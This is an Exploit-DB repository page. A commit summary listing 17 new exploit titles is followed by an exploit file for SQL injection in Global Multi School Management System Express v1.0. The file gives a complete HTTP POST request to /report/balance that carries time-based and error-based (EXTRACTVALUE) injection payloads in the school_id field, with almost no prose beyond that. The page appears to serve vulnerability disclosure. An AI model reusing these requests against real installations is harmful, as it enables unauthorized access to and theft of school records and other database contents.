e07f33f24d
17 changes to exploits/shellcodes/ghdb EuroTel ETL3100 - Transmitter Authorization Bypass (IDOR) EuroTel ETL3100 - Transmitter Default Credentials EuroTel ETL3100 - Transmitter Unauthenticated Config/Log Download Color Prediction Game v1.0 - SQL Injection Crypto Currency Tracker (CCT) 9.5 - Admin Account Creation (Unauthenticated) Dolibarr Version 17.0.1 - Stored XSS Global - Multi School Management System Express v1.0- SQL Injection OVOO Movie Portal CMS v3.3.3 - SQL Injection PHPJabbers Business Directory Script v3.2 - Multiple Vulnerabilities Taskhub CRM Tool 2.8.6 - SQL Injection Inosoft VisiWin 7 2022-2.1 - Insecure Folders Permissions TSPlus 16.0.0.0 - Remote Work Insecure Credential storage TSplus 16.0.0.0 - Remote Work Insecure Files and Folders TSplus 16.0.2.14 - Remote Access Insecure Files and Folders Permissions Linux/x64 - memfd_create ELF loader Shellcode (170 bytes)
60 lines
No EOL
1.9 KiB
Text
60 lines
No EOL
1.9 KiB
Text
# Exploit Title: Global - Multi School Management System Express v1.0- SQL Injection
|
||
# Date: 2023-08-12
|
||
# Exploit Author: Ahmet Ümit BAYRAM
|
||
# Vendor: https://codecanyon.net/item/global-multi-school-management-system-express/21975378
|
||
# Tested on: Kali Linux & MacOS
|
||
# CVE: N/A
|
||
|
||
### Request ###
|
||
POST /report/balance HTTP/1.1
|
||
Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw
|
||
Accept: */*
|
||
X-Requested-With: XMLHttpRequest
|
||
Referer: http://localhost
|
||
Cookie: gmsms=b8d36491f08934ac621b6bc7170eaef18290469f
|
||
Content-Length: 472
|
||
Accept-Encoding: gzip,deflate,br
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
|
||
(KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
|
||
Host: localhost
|
||
Connection: Keep-alive
|
||
------------YWJkMTQzNDcw
|
||
Content-Disposition: form-data; name="school_id"
|
||
0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
|
||
------------YWJkMTQzNDcw
|
||
Content-Disposition: form-data; name="academic_year_id"
|
||
|
||
------------YWJkMTQzNDcw
|
||
Content-Disposition: form-data; name="group_by"
|
||
|
||
------------YWJkMTQzNDcw
|
||
Content-Disposition: form-data; name="date_from"
|
||
|
||
------------YWJkMTQzNDcw
|
||
Content-Disposition: form-data; name="date_to"
|
||
|
||
------------YWJkMTQzNDcw--
|
||
|
||
### Parameter & Payloads ###
|
||
Parameter: MULTIPART school_id ((custom) POST)
|
||
Type: error-based
|
||
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
|
||
clause (EXTRACTVALUE)
|
||
Payload: ------------YWJkMTQzNDcw
|
||
Content-Disposition: form-data; name="school_id"
|
||
0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z' AND
|
||
EXTRACTVALUE(1586,CONCAT(0x5c,0x71766b6b71,(SELECT
|
||
(ELT(1586=1586,1))),0x716a627071)) AND 'Dyjx'='Dyjx
|
||
------------YWJkMTQzNDcw
|
||
Content-Disposition: form-data; name="academic_year_id"
|
||
|
||
------------YWJkMTQzNDcw
|
||
Content-Disposition: form-data; name="group_by"
|
||
|
||
------------YWJkMTQzNDcw
|
||
Content-Disposition: form-data; name="date_from"
|
||
|
||
------------YWJkMTQzNDcw
|
||
Content-Disposition: form-data; name="date_to"
|
||
|
||
------------YWJkMTQzNDcw– |